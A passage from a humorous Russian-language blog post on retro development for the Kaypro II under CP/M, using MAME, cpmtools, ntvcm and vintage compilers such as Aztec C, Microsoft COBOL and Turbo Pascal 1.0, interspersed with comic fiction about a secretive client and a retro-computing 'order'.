  <p id="QacE">Чтобы сбросить сохраненное состояние — если оно вдруг начнет мешать, достаточно удалить этот файл в каталоге с настройками:</p>
  <pre id="8swR" data-lang="bash">rm ~/.mame/sta/kayproii/auto.sta</pre>
  <p id="1sri">Теперь расскажу про еще один важный нюанс, на изучение которого было убито больше всего времени и сил, чем на всю эту статью.</p>
  <figure id="gkeY" class="m_original">
    <img src="https://img3.teletype.in/files/e8/00/e800ecf6-eac7-466b-9734-e0f132311ee5.jpeg" width="1280" />
    <figcaption>Обложка дискеты с компилятором BASIC для компьютеров Kaypro.</figcaption>
  </figure>
  <h2 id="lwMz">ФОРМАТ ФЛОППИ</h2>
  <p id="IVEf">Существует определенная хитрость с форматированием дискет для CP/M под Mame, связанная как с особенностями реализации в самом Mame, так и со <a href="https://www.retrocmp.de/kaypro/kay-p21_faq.htm#fdd-001" target="_blank">спецификой Kaypro</a>. </p>
  <blockquote id="OFZe">Да в те далекие времена существовали <strong>разные</strong>, несовместимые между собой форматы дискет.</blockquote>
  <p id="6aRu">У меня не получилось подцепить в Mame образ дискеты, созданный в <code>cpmtools</code> (см. ниже) и описанный ниже вариант оказался <strong>единственным работающим</strong>.</p>
  <p id="yHKE">При запуске Mame нажимаем Tab, открывается меню системное меню:</p>
  <figure id="CQHk" class="m_column">
    <img src="https://img2.teletype.in/files/9c/b2/9cb2c5fb-1571-4116-9176-d1148725197b.png" width="1148" />
  </figure>
  <p id="VFAi">Выбираем пункт <code>File Manager</code>, затем выбираем <code>floppydisk2</code>:</p>
  <figure id="gO8R" class="m_column">
    <img src="https://img2.teletype.in/files/59/99/59996a3c-0cb8-4717-a655-efc628c18f23.png" width="1148" />
  </figure>
  <p id="QQr6">Задаем название, с обязательным указанием расширения <code>.dsk</code>, выбираем формат <code>kaypro2</code>: </p>
  <figure id="Wehd" class="m_column">
    <img src="https://img3.teletype.in/files/2a/c6/2ac6e178-aa12-4380-9bfe-c2406b5b77a4.png" width="1148" />
  </figure>
  <p id="Vr7j">Cозданный образ дискеты должен появиться в каталоге, из которого запускался эмулятор.</p>
  <p id="xEIL">Запускаем повторно, с указанием созданного диска:</p>
  <pre id="ObBu" data-lang="bash">mame kayproii -w -rompath ./roms -flop1 disks/KAY64CPM.IMD -flop2 test2.dsk</pre>
  <p id="mfOS">Уже из CP/M запускаем программу форматирования:</p>
  <pre id="564w" data-lang="bash">initdisk </pre>
  <p id="ICoF">Выбираем формат диска для Kaypro, он идет самым первым в списке, поэтому нажимаем <code>0</code>.</p>
  <p id="gVpi">Программа форматирования сама выберет диск B, запустится форматирование: </p>
  <figure id="kvsY" class="m_column">
    <img src="https://img2.teletype.in/files/11/b2/11b2f632-78dc-43f6-ac52-1c8648ac38c4.png" width="1148" />
  </figure>
  <p id="6BrT">После форматирования, можно перейти на диск B и убедиться что он читается, хотя и не содержит файлов:</p>
  <figure id="46ig" class="m_column">
    <img src="https://img1.teletype.in/files/4f/f9/4ff9a658-3f65-4872-b1b6-55d478c60a03.png" width="1148" />
  </figure>
  <p id="W5hn">Выключаем эмулятор и приступаем ко второй части концертной программы — разборками с пакетом <code>cpmtools</code>, для того чтобы записывать файлы с хоста на созданный образ дискеты.</p>
  <p id="BjTG">Кстати образ с пустым, отформатированным под Kaypro II  диском рекомендую сохранить, поскольку любая ошибка при работе с <code>cpmtools</code> (например если забыть указать формат <code>-f kpii</code>) этот диск убивает. </p>
  <p id="Dwft">..</p>
  <p id="Wtm9">— Да все просто.</p>
  <p id="d6Hu">Если бы мне давали доллар каждый раз, когда я слышу эту фразу — давно бы стал миллионером..</p>
  <p id="P3zB">— Наш коллега из организации, назовем его для простоты доктор Кригер, свято уверен, что только он один может.. как это он выразился? </p>
  <p id="70z5">«Создать новую электронную жизнь в древнем компьютерном теле».</p>
  <p id="Nuoh">— Надеюсь, ваш коллега хотя-бы вводит код руками, а не другим органом. </p>
  <p id="e65i">Гость посмотрев с удивлением, ненадолго задумался.</p>
  <p id="LWH0">— Какая интересная мысль.</p>
  <p id="FkrF">— Я уже упоминал, что вы с ним похожи?</p>
  <p id="pa1z">..</p>
  <h2 id="TMbd">CPMTOOLS</h2>
  <p id="gXhx">Это весьма известный <a href="https://www.moria.de/~michael/cpmtools/" target="_blank">набор инструментов</a> для работы с файловыми системами CP/M, за авторством <a href="https://www.moria.de/~michael/cv.html" target="_blank">Michael Haardt</a>.</p>
  <p id="K5E1">К сожалению работа над оригинальным проектом прекращена, так что мы будем использовать <a href="https://github.com/lipro-cpm4l/cpmtools" target="_blank">более современный форк</a>, уже из Github:</p>
  <pre id="Krki" data-lang="bash">git clone https://github.com/lipro-cpm4l/cpmtools.git</pre>
  <p id="2kU2">Собираем и запускаем сборку:</p>
  <pre id="aLlp" data-lang="bash">./configure
make</pre>
  <p id="2HEx">В результате сборки появится несколько бинарников, готовых к запуску:</p>
  <figure id="gzO9" class="m_original">
    <img src="https://img1.teletype.in/files/4a/97/4a97fcc6-8f90-45e0-9d33-447095657a84.png" width="1131" />
    <figcaption>Думаю даже по названию нетрудно догадаться об их предназначении. </figcaption>
  </figure>
  <p id="TFZK">Для всех последующих увеселений будут использоваться в основном эти два: <code>cpmls</code> и <code>cpmcp</code>. </p>
  <blockquote id="bktr">Первый предназначен для просмотра содержимого образа диска, второй — для копирования внутрь файлов с хоста.</blockquote>
  <p id="9Yld">Копируем созданный образ диска в текущий каталог:</p>
  <pre id="EU9C" data-lang="bash">cp ../../work/kayproii-machine/test2.dsk .</pre>
  <p id="sK4y">Проверяем что диск читается:</p>
  <pre id="sK4y" data-lang="bash">./cpmls -f kpii test2.dsk</pre>
  <p id="mj2m">Копируем тестовый файл</p>
  <pre id="tCNV" data-lang="bash">./cpmcp -f kpii test2.dsk README 0:README.TXT</pre>
  <p id="GidO">Повторный запуск <code>cpmpls</code> должен показать содержимое диска с тестовым файлом:</p>
  <figure id="I843" class="m_original">
    <img src="https://img2.teletype.in/files/9d/bd/9dbdc07a-6f88-442c-b0ab-9a5423a24e73.png" width="1131" />
  </figure>
  <h2 id="8vkQ">NTVCM</h2>
  <p id="JDjL">Наконец <a href="https://github.com/davidly/ntvcm" target="_blank">последний эмулятор CP/M</a>, который тоже придется использовать, хотя и опосредованно:</p>
  <blockquote id="XqwB">Virtual CP/M Machine. Emulates CP/M and the 8080/Z80 on Linux, MacOS, Windows, and real-mode 8086 DOS to run CP/M .com files</blockquote>
  <p id="0kGv">Кстати последний он еще и в том смысле, что это <strong>новая разработка</strong>, созданная (судя по коммитам) буквально пару лет назад. </p>
  <p id="us9y">Созданная, для того чтобы эмулировать систему из 80х, представляете?</p>
  <p id="2jrr">Этот самый <code>ntvcm</code> придется собрать и добавить в переменную <code>PATH</code>, поскольку эмулятор создан тем же автором, что собрал репозиторий с компиляторами под CP/M и используется из скриптов для тестов и.. кросс-компиляции. </p>
  <p id="0U9B">Под CP/M, ага.</p>
  <p id="Dnpr">Шаги простые и очевидные:</p>
  <pre id="x75s" data-lang="bash">git clone https://github.com/davidly/ntvcm.git
cd ntvcm
make</pre>
  <p id="eork">Дальше просто добавляете этот каталог в переменную PATH:</p>
  <pre id="DMHl" data-lang="bash">export PATH=$PWD:$PATH</pre>
  <p id="fkHv">На этом подготовка к <s>оргии</s> празднику древней разработки наконец завершена и мы снова переносимся обратно в офис.</p>
  <p id="Apww">..</p>
  <p id="BvhF">— Короче, коллега Кригер считает, что только он один в силах что-то написать для нашего Kaypro II.</p>
  <p id="8XG8">— Что вообщем-то правда, поскольку остальные умеют все эти ваши компьютеры только включать и выключать. </p>
  <p id="uukB">— Обычно пинком.</p>
  <p id="XdsB">Тут мой гость понял, что наверное не стоило показывать зависимость от будущего исполнителя.</p>
  <p id="Z40Z">— Но разумеется, у нашей организации есть и другие варианты. </p>
  <p id="7lGQ">— Пробовали привлекать «юные дарования», как самые перспективные. Закончилось.. не очень хорошо. </p>
  <p id="LpB6">Достав из внутреннего кармана пиджака конверт, гость выложил на стол несколько фотографий.. полных неописуемого ужаса.</p>
  <p id="Tlwn">— Бедный парень.. это же парень, правда?</p>
  <p id="B4VG">Увиденное на фото заставило шевелиться последние остатки волос.</p>
  <p id="40Kd">— Когда его нашли, он был в бреду и ползал в ванной, обмазавшись собственными экскрементами. </p>
  <p id="gCZ4">— Весь пол, стены и даже потолок были изрисованы чем-то коричневым — символами, похожими на египетские иероглифы:</p>
  <figure id="zn1A" class="m_original">
    <img src="https://img3.teletype.in/files/68/2b/682b0a12-2865-4fa5-af53-e7c621a8a9d6.gif" width="1003" />
    <figcaption>All 24 and 28 pins EPROM pinout 2708 - 27512. <a href="http://www.z80.info/" target="_blank">Отсюда</a>.</figcaption>
  </figure>
  <p id="NuP5">— Это распиновка EPROM, для Z80.</p>
  <p id="9Wld">— Хм, гляжу вы действительно разбираетесь.</p>
  <p id="RX9D">Тут гость привлек мое внимание, указав на одну из фотографий.</p>
  <p id="1mSi">— Вот здесь, на стене было загадочное послание, оставленное.. аналогичным способом. </p>
  <p id="XSJJ">— Но его смысл мы так и не смогли разгадать.</p>
  <p id="DGpO">Я пригляделся к фотографии: </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="g1UX" data-align="center">640КБ ХВАТИТ НА ВСЕХ</p>
  </section>
  <p id="zRVs">— Нет идей что бы это могло значить?</p>
  <figure id="KzVR" class="m_column">
    <img src="https://img4.teletype.in/files/fa/a8/faa83d35-b33f-416c-b464-a9d338bc4cc6.jpeg" width="1200" />
    <figcaption>Пол Аллен и юный Гейтс за четыре года до основания Microsoft.</figcaption>
  </figure>
  <h2 id="PuuW">НЕПРЕРЫВНОЕ ВЕСЕЛЬЕ</h2>
  <p id="VKa2">Возвращаясь к тому адскому репозиторию с компиляторами, наконец рассказываю основное: </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="sKGE">как <s>современному ребенку</s> вести разработку для компьютера из 1987 года.</p>
  </section>
  <p id="45NC">Цепочка необходимых действий выглядит следующим образом:</p>
  <ul id="7V5R">
    <li id="UYyu">Сборка;</li>
    <li id="g6F0">Тестовый запуск с помощью <code>ntvcm</code>;</li>
    <li id="LIv7">Запуск с помощью <code>myz80;</code></li>
    <li id="uUCH">Запуск в Mame с образом настоящего Kaypro II;</li>
    <li id="YTa4">Сеанс рукоблуд.. ээ переход к следующему примеру.</li>
  </ul>
  <p id="2C8a">И начнем мы с того самого примера, показанного на заглавной картинке в фоне.</p>
  <p id="jnwU">Сразу предупреждаю: </p>
  <blockquote id="ElwF">собираем <em>только самые простые</em> варианты, так как каждый сложный имеет свою специфику, требующую отдельного описания.</blockquote>
  <p id="6imC">Но даже в этом случае показать получится очень далеко не все — интересных компиляторов и тулчейнов в репозитории просто чудовищное количество.</p>
  <p id="iiYh">Начнем разумеется с компилятора языка С, но.. <strong>особенного</strong>.</p>
  <h2 id="ScY5"><strong>Aztec C</strong></h2>
  <p id="wvOr">Спасая цитату из погибающей <a href="https://en.wikipedia.org/wiki/Aztec_C" target="_blank">википедии</a>:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="pfdC"><strong>Aztec C</strong> is a discontinued <a href="https://en.wikipedia.org/wiki/C_(programming_language)" target="_blank">C programming language</a> <a href="https://en.wikipedia.org/wiki/Compiler" target="_blank">compiler</a> for <a href="https://en.wikipedia.org/wiki/CP/M" target="_blank">CP/M-80</a>, <a href="https://en.wikipedia.org/wiki/MS-DOS" target="_blank">MS-DOS</a>, <a href="https://en.wikipedia.org/wiki/Apple_II" target="_blank">Apple II</a> (both <a href="https://en.wikipedia.org/wiki/Apple_DOS" target="_blank">Apple DOS</a> 3.3 and <a href="https://en.wikipedia.org/wiki/ProDOS" target="_blank">ProDOS</a>), <a href="https://en.wikipedia.org/wiki/Commodore_64" target="_blank">Commodore 64</a>, early <a href="https://en.wikipedia.org/wiki/Macintosh" target="_blank">Macintosh</a>, <a href="https://en.wikipedia.org/wiki/Amiga" target="_blank">Amiga</a>, and <a href="https://en.wikipedia.org/wiki/Atari_ST" target="_blank">Atari ST</a>. It was sold commercially by Manx Software Systems<a href="https://en.wikipedia.org/wiki/Aztec_C#cite_note-byte_84_dec_manx_c_compilers-1" target="_blank">[1]</a>.</p>
  </section>
  <p id="fN77">Судя по обнаруженным материалам, это был весьма известный и популярный продукт для тех лет. </p>
  <p id="q7JZ">А еще это <a href="https://www.aztecmuseum.ca/intro.htm" target="_blank">вариация языка С</a> <strong>до стандартизации</strong>, поэтому и называется не просто компилятором, а прям <em>отдельным языком</em>:</p>
  <blockquote id="b4RQ">Aztec C — a programming language for a variety of platforms</blockquote>
  <p id="LYdX">Редкое для современных бюрократических реалий зрелище: компилятор, забивающий на стандарты и правила.</p>
  <p id="yC4g">Так выглядела обложка <a href="https://www.reddit.com/r/amiga/comments/1ael3bu/manx_aztec_c_user_guide_5/" target="_blank">руководства пользователя</a>, версии для Amiga:</p>
  <figure id="86kM" class="m_column">
    <img src="https://img1.teletype.in/files/47/2b/472b4d1d-ecfb-4fb6-b662-5c65d12b94c0.jpeg" width="1600" />
    <figcaption>На фото плохо видно, но коробка справа тряпичная, примерно как упаковка дорогого вина или часов.</figcaption>
  </figure>
  <p id="2sB7">А вот так выглядел каталог с <a href="https://www.generation-msx.nl/software/manx-software-systems/aztec-c/release/8311/" target="_blank">компилятором в версии для MSX</a>:</p>
  <figure id="eaPl" class="m_original">
    <img src="https://img3.teletype.in/files/ae/2e/ae2e680c-6c02-4d57-8f47-c643a5a6143e.png" width="544" />
    <figcaption>1982 год, о здоровье глаз тогда еще не заботились.</figcaption>
  </figure>
  <p id="iSaF">Так что это был популярный и известный инструмент, с <a href="https://archive.org/details/byte-magazine-1984-12-rescan/page/n61/mode/2up" target="_blank">весьма скромными прайсами</a>:</p>
  <figure id="W4pG" class="m_column">
    <img src="https://img3.teletype.in/files/62/d7/62d76332-7309-469a-bd85-9aa09be346d6.png" width="658" />
  </figure>
  <p id="0w35">Сложно из 2026 года оценивать цены 1980х, но судя по прайсу выше, Aztec C был явно не самым дорогим софтом, тем более для разработчиков.</p>
  <p id="X6nw">Но мы опять отвлеклись.</p>
  <p id="HcKe">Переходим в каталог <code>manx aztec c v106d</code> и запускаем сборку примера:</p>
  <pre id="SAOH" data-lang="bash">./m.sh EXMPL</pre>
  <p id="zuqP">Да, обязательно КАПСЛОКОМ и обязательно без указания расширения, поскольку в скрипте идет вызов как компилятора, так и линковщика.</p>
  <p id="D2sk">Будет собран COM-файл для CP/M, который проще всего запустить с помощью эмулятора от автора репозитория:</p>
  <pre id="6laM" data-lang="bash">ntvcm EXMPL.COM</pre>
  <p id="nwUf">Так весь процесс выглядит в действии:</p>
  <figure id="XdMH" class="m_original">
    <img src="https://img1.teletype.in/files/4c/51/4c51df80-b43f-4027-9ea3-16ed14963edd.gif" width="800" />
  </figure>
  <p id="lsCv">Теперь запустим на втором эмуляторе — <code>MYZ80</code>, чтобы убедиться в корректности только что собранного приложения.</p>
  <p id="tghl">Копируем созданный <code>EXMPL.COM</code> в каталог с эмулятором и запускаем его через Dosbox:</p>
  <pre id="0JCm" data-lang="bash">cp ../../src/cpm_compilers/manx\ aztec\ c\ v106d/EXMPL.COM .
dosbox MYZ80.EXE</pre>
  <p id="12js">Затем, уже из CP/M выполняем:</p>
  <pre id="YxsZ">import EXMPL.COM</pre>
  <p id="sGBU">Этим действием, файл будет скопирован с хоста в виртуальный диск (дискету) CP/M, откуда его наконец можно будет запустить:</p>
  <pre id="RWAp">EXMPL</pre>
  <p id="2NJG">В действии:</p>
  <figure id="BQZX" class="m_original">
    <img src="https://img1.teletype.in/files/4d/bc/4dbcd333-2e0d-415f-b655-da85426a172a.gif" width="800" />
  </figure>
  <p id="mv8X">Наконец в качестве <s>дембельского аккорда</s> контрольного примера, показываю запуск и работу в Mame.</p>
  <p id="RU0Z">Переходим в каталог с <code>cpmtools</code> и выполняем:</p>
  <pre id="Kktb" data-lang="bash">./cpmcp -f kpii ../../work/kayproii-machine/test2.dsk ../cpm_compilers/manx\ aztec\ c\ v106d/EXMPL.COM 0:EXMPL.COM</pre>
  <p id="dDuT">Этим действием мы запишем наше собранное приложение <code>EXMPL.COM</code> в образ дискеты для Kaypro II.</p>
  <p id="GhtQ">Для проверки выполняем:</p>
  <pre id="0bau" data-lang="bash">./cpmcp -f kpii ../../work/kayproii-machine/test2.dsk</pre>
  <p id="Tt7g">Должно быть видно содержимое образа дискеты, с новым файлом внутри:</p>
  <figure id="OXGx" class="m_original">
    <img src="https://img3.teletype.in/files/60/51/6051b401-e8e9-4a67-9022-952decfff5be.png" width="854" />
  </figure>
  <p id="Lw8E">Наконец запускаем максимально близкую к реальности эмуляцию компьютера Kaypro II в Mame:</p>
  <pre id="vmeC" data-lang="bash">mame kayproii -w -rompath ./roms -flop1 disks/KAY64CPM.IMD -flop2 test2.dsk</pre>
  <p id="vnnf">Так это выглядит в действии:</p>
  <figure id="iLl8" class="m_original">
    <img src="https://img3.teletype.in/files/ac/90/ac90e06f-ca5a-4353-80b5-a15d72d3f0b5.gif" width="800" />
  </figure>
  <p id="3ffB">Чтобы не раздувать статью до совсем уж скотских размеров, для всех остальных компиляторов покажу только финальный запуск в Mame.</p>
  <p id="tqft">Пусть ваше больное воображение дорисует недостающее.</p>
  <p id="iw8t">..</p>
  <p id="vet6">— Ладно, думаю мы договорились.</p>
  <p id="q0fM">— Небольшое приложение для Kaypro II образца 1987 года, для причинения моральных страданий немецкому инженеру. </p>
  <p id="isV9">На этом мой гость задумался, как будто вспоминая важную деталь.</p>
  <p id="tgED">— Как же оно называется? Туда запихиваются такие плоские черные штуки? Д.. дди.. доо..</p>
  <p id="1xks">— Дисковод, для дискет.</p>
  <p id="Dx7d">— Работу необходимо сдать на 5.25 дискете, я понял.</p>
  <p id="m6ds">Это был первый раз в моей жизни, когда надо было сдать работу на пятидюймовой дискете.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="SCAV">Но с учетом роста цен на чипы памяти и SSD — думаю далеко не последний.</p>
  </section>
  <p id="0V1I">(гомерический хохот за кадром)</p>
  <p id="xATj">Закончив переговоры, мой гость попрощался и ушел, оставив меня в глубоких раздумьях об истинной природе вещей.</p>
  <blockquote id="SRgk">О том, что не надо упарываться, коль жизнь подбросила уже упоротый проект. </blockquote>
  <p id="di9H">Чтобы потом не размазывать собственное говно по стенам и потолку в процессе отладки.</p>
  <p id="U1S2"></p>
  <p id="lAQ3">Но работа есть работа и вскоре я приступил к насилию над поисковыми системами, рыская по сети в поисках археотеха, способного помочь с разработкой под столь лютый винтаж.</p>
  <figure id="FSkE" class="m_original">
    <img src="https://img1.teletype.in/files/84/bc/84bc4440-2f41-44c7-8262-09ceeb8c3681.jpeg" width="756" />
    <figcaption>Так выглядела обложка от оригинальной упаковки с комплектом дискет.</figcaption>
  </figure>
  <h1 id="hCYO">Microsoft COBOL </h1>
  <p id="yLtN">Малоизвестный ныне факт, но компания Microsoft когда-то <a href="https://www.roug.org/retrocomputing/languages/cobol/microsoft" target="_blank">продавала компилятор COBOL</a>:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="qPjm">Microsoft produced a COBOL compiler for CP/M. This product was also licensed to IBM as IBM Cobol Compiler.</p>
  </section>
  <p id="U5Sw">Я собрал и запустил пример, который производит вычисление корня <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%9D%D1%8C%D1%8E%D1%82%D0%BE%D0%BD%D0%B0" target="_blank">методом Ньютона</a>:</p>
  <pre id="cus2" data-lang="bash">./m.sh SQUARO</pre>
  <p id="HH7u">Для запуска помимо <code>SQUARO.COM</code> надо перебросить в эмулятор еще и файл <code>RUNCOB.COM</code>,иначе не заработает.</p>
  <p id="Glax">Так этот пример выглядит в работе, на фоне (в редакторе) можно заметить исходный код на COBOL:</p>
  <figure id="X0CU" class="m_original">
    <img src="https://img4.teletype.in/files/b0/e8/b0e88903-6a7a-46ce-bae5-0c5881a0258f.gif" width="800" />
  </figure>
  <p id="VQvq">Microsoft COBOL оказался хотя и интересным, но все же мало актуальным компилятором, так и не нашедшим широкого применения в свое время. </p>
  <blockquote id="VWjU">Врядли приложение на COBOL было лучшим вариантом, чтобы утереть нос немецкому коллеге-инженеру. </blockquote>
  <p id="nPWb">Так что я стал искать дальше.</p>
  <p id="lBAA">Однако был еще один важный вопрос, который стоило закрыть прежде чем выбрать наконец язык реализации.</p>
  <p id="1MGj">..</p>
  <p id="ar9o">alex0x08: дарова!</p>
  <p id="eWHA">alex0x08: нужны тайные знания ордена</p>
  <p id="q6Ap">alecv: излагай</p>
  <p id="Jb2I">alex0x08: надо программку одну запустить, на железе из 1987 года :)</p>
  <p id="neKh">alex0x08: только что собрал</p>
  <p id="mQnr">alex0x08: да, я трезвый</p>
  <p id="pmRl">alecv: эк же тебя жизнь скрутила..</p>
  <p id="331o">alecv: нет чтобы как все — миксуешь себе Сlaude Соde с фентанилом да вбиваешь промпты, представляя что ты в LA..</p>
  <p id="ac45">alecv: ладно, поможем</p>
  <p id="swct">alecv: скидывай сборку</p>
  <p id="uWYf">..</p>
  <figure id="h4YV" class="m_column">
    <img src="https://img4.teletype.in/files/b2/b7/b2b7ff74-d73e-4899-ab02-4039bde2289c.jpeg" width="1456" />
    <figcaption>Единственное фото дискеты с этим компилятором,  которое удалось найти</figcaption>
  </figure>
  <h2 id="Cn4B">Pro Pascal </h2>
  <p id="xcA0">Кто ищет — всегда находит, поэтому очень скоро обнаружилась еще одна невероятная <s>дичь</s> редкость:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="mn3f"><a href="https://www.atarimagazines.com/st-log/issue34/84_1_REVIEW_PROSPERO_PASCAL.php" target="_blank">Prospero Pascal</a> is a full-featured Pascal that includes everything you need to begin writing stand-alone programs for your Atari ST.</p>
  </section>
  <p id="1a54">Компилятор Паскаля для 8-битных компьютеров <s>с блекджеком и блудницами</s> с дополнениями и доработками:</p>
  <blockquote id="QGfc">Prospero Pascal is a superset of ISO Standard Pascal. In addition to the standard features, this package offers a number of extensions including dynamic strings, single- and double-precision floating-point arithmetic, an assembler-level interface, and separate compilation of program segments. Moreover, Prospero Pascal offers a high degree of portability.</blockquote>
  <p id="BuQu">Динамические строки, вычисления с плавающей точкой, поддержка ассемблерных вставок и все это в 1983м году! </p>
  <p id="gZmK">На Паскале и под Atari, если кто вдруг не понял.</p>
  <p id="gwiW">Разработкой занималась маленькая британская компания <a href="https://www.edm2.com/index.php/Prospero_Software" target="_blank">Prospero Software</a>, закрытая к 1998му году.</p>
  <p id="edN4">В качестве примера была взята реализация &quot;<a href="https://en.wikipedia.org/wiki/Conway&#x27;s_Game_of_Life" target="_blank">симулятора жизни</a>&quot;:</p>
  <pre id="TCka">./m.sh LIFE</pre>
  <p id="7z7n">К сожалению автоматически (из скрипта сборки) оно не линкуется, так что пришлось вызывать этот шаг отдельно:</p>
  <pre id="crFx" data-lang="bash">ntvcm PROLINK.COM LIFE,PASLIB/S</pre>
  <p id="LHgY">Так эта программа выглядит в работе:</p>
  <figure id="7BGG" class="m_original">
    <img src="https://img1.teletype.in/files/01/59/0159e1d0-67df-4ae9-a8f0-99a96b4bca1a.gif" width="800" />
  </figure>
  <p id="z6Bk">Все выше конечно весьма занимательные (для археологов и некрофилов) штуки, но самое интересное я приберег напоследок.</p>
  <p id="dssr">..</p>
  <p id="xr6M">Пару дней спустя я сидел в кафе напротив <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D0%B7%D0%B0%D0%BD%D1%81%D0%BA%D0%B8%D0%B9_%D1%81%D0%BE%D0%B1%D0%BE%D1%80_(%D0%A1%D0%B0%D0%BD%D0%BA%D1%82-%D0%9F%D0%B5%D1%82%D0%B5%D1%80%D0%B1%D1%83%D1%80%D0%B3)" target="_blank">Казанского собора</a>, наслаждаясь утренним кофе и редким для этих мест ярким солнцем.</p>
  <p id="B88p">Внезапно мне в бок воткнулось что-то твердое и холодное.</p>
  <p id="2r4h">— Не оборачивайся, не задавай вопросов. </p>
  <p id="g7K8">Незнакомец что-то положил в карман моего пальто.</p>
  <p id="o0Vw">— Посылка доставлена, внутри найдешь пятидюймовую дискету с записью сборки для твоего заказчика. </p>
  <p id="miYz">— Достаточно воткнуть ее в дисковод.</p>
  <p id="KVGu">— Но как вы.. как вы смогли записать ее в 2026м году?!</p>
  <p id="dcPM">— Тайны ордена, посторонним знать не положено. </p>
  <p id="tj0m">— На этом все.</p>
  <p id="eDWo">Давление на мой бок ослабло и незнакомец исчез.</p>
  <p id="6iXQ"></p>
  <figure id="UdjK" class="m_column">
    <img src="https://img2.teletype.in/files/95/97/9597f5db-c95b-4560-a922-4dc982ea3c36.png" width="1737" />
  </figure>
  <h2 id="i8Af">Borland Pascal 1.0</h2>
  <p id="WMI6">Тот самый Паскаль, ставший для многих <s>первой любовью</s> первым языком программирования, поскольку именно на нем много лет обучали кодингу в школах и некоторых ВУЗах этой страны. </p>
  <blockquote id="LSDB">В результате чего появлялись на свет такие как автор, для которого Паскаль тоже когда-то был самым первым.</blockquote>
  <p id="GL3v">Но то что я сейчас покажу — не просто «какой-то там Паскаль» и даже не «какой-то там Паскаль» от фирмы <a href="https://en.wikipedia.org/wiki/Borland" target="_blank">Borland</a>, ставшей законодательницей мод в паскалестроении. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Q4LN">Это его первая релизная версия, с которой все началось.</p>
  </section>
  <p id="MKG7">А еще с первой версии стартовала история и знаменитой среды разработки, с помощью которой осуществлялась сборка и отладка программ.</p>
  <p id="E2DT">Вот он, тот самый <code>TURBO.COM</code>, который позже превратится в <code>TURBO.EXE</code>: </p>
  <figure id="47dn" class="m_original">
    <img src="https://img4.teletype.in/files/7b/bd/7bbd87fc-f291-469d-9c3e-35a241bad2df.png" width="1131" />
  </figure>
  <p id="FotJ">Кусочек руководства пользователя с адресом «небольшой компании-стартапа» на просторах Калифорнии:</p>
  <figure id="rak3" class="m_original">
    <img src="https://img3.teletype.in/files/27/32/273270f5-dc3e-4819-9fc1-d9708de2c86a.png" width="774" />
  </figure>
  <p id="Mu7n">А я почему-то всегда был уверен, что Borland начиналась как европейская компания — удивительные открытия порой приносит компьютерная археология.</p>
  <p id="Yn6U">Для тестов, были скопированы <code>TURBO.COM</code> и <code>HELLO.PAS</code> на образ дискеты, который затем подключили в эмулятор.</p>
  <p id="F2ve">Код <code>HELLO.PAS</code> это классический «Hello, world», с которого начинали свой трудовой путь и карьеру все программисты:</p>
  <pre id="bM8l" data-lang="pascal">program hello;

begin
    writeln( &#x27;hello davidly&#x27; );
end.</pre>
  <p id="1e3t">К сведению, <code>davidly</code> это ник дедушки-автора, собравшего сей сказочный репозиторий. </p>
  <p id="UrWN">Так все действо выглядит в эмуляторе Mame:</p>
  <figure id="o1lF" class="m_original">
    <img src="https://img3.teletype.in/files/a5/fd/a5fde706-bf34-493c-b163-d2d47a54cda7.gif" width="800" />
  </figure>
  <h2 id="J192">НЕЛЕГКИЙ ВЫБОР</h2>
  <p id="0onT">Итак, у меня набралось четыре варианта на выбор:</p>
  <ul id="ggcW">
    <li id="oUP7">Первая релизная версия Borland Pascal;</li>
    <li id="vPXb">Редкая версия Pascal, с крутыми (для 1983 года) фичами;</li>
    <li id="NMem">Microsoft COBOL, без комментариев.</li>
  </ul>
  <p id="YdAJ">И конечно же Aztec C — реализация языка С до его стандартизации, настоящий артефакт.</p>
  <p id="954G">Надо было выбрать что-то одно и я решил кинуть кости, оставшиеся в офисе со времен бурной молодости:</p>
  <p id="DGGo"></p>
  <figure id="hu7L" class="m_original">
    <img src="https://img3.teletype.in/files/a0/00/a0002839-a2d4-42f2-8345-85362d2c3483.jpeg" width="474" />
  </figure>
  <p id="Qxrv">Мысленно назначив каждому варианту по грани, я подбросил кубик в воздух, поймал и медленно положил на стол, накрыв ладонью.</p>
  <p id="j5LN">Что выбрала для меня судьба?</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="qHvn" data-align="center">И.. да, это Aztec C. </p>
  </section>
  <p id="z5eO">(бурные аплодисменты)</p>
  <p id="Zmn2">Но не потому, что верю в судьбу или так подсказал какой-то сраный кубик. Просто в любой непонятной ситуации я всегда выбираю Си.</p>
  <p id="kkUB">И такой подход еще ни разу не подводил.</p>
  <figure id="UQZe" class="m_original">
    <img src="https://img3.teletype.in/files/af/91/af91bad8-95c6-4614-995c-bee8f1057f22.jpeg" width="1280" />
    <figcaption>В такое безусловно сложно поверить далекому от Сант-Петербурга обывателю, но это настоящий барельеф с масонским гербом.</figcaption>
  </figure>
  <h2 id="XkWq">ПОСЛЕДНЯЯ ПРОВЕРКА</h2>
  <p id="s7jy">Старый, дореволюционной постройки дом в самом центре Питера, с гербом масонского ордена на барельефах разумеется привлекал внимание туристов, наделавших немалое количество селфи на его фоне. </p>
  <blockquote id="cFf0">Но мало кто даже из коренных петербуржцев догадывался, что находится внутри.</blockquote>
  <p id="1mLb">Меня встретили у неприметной двери, в которую надо было постучать определенным образом и строго в нужной последовательности.</p>
  <p id="k9uq">Затем надев на голову черный мешок, непроницаемый для любого света, аккуратно сопроводили в тайное помещение ордена.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="LGMW" data-align="center">Ордена «Свидетелей Спектрума».</p>
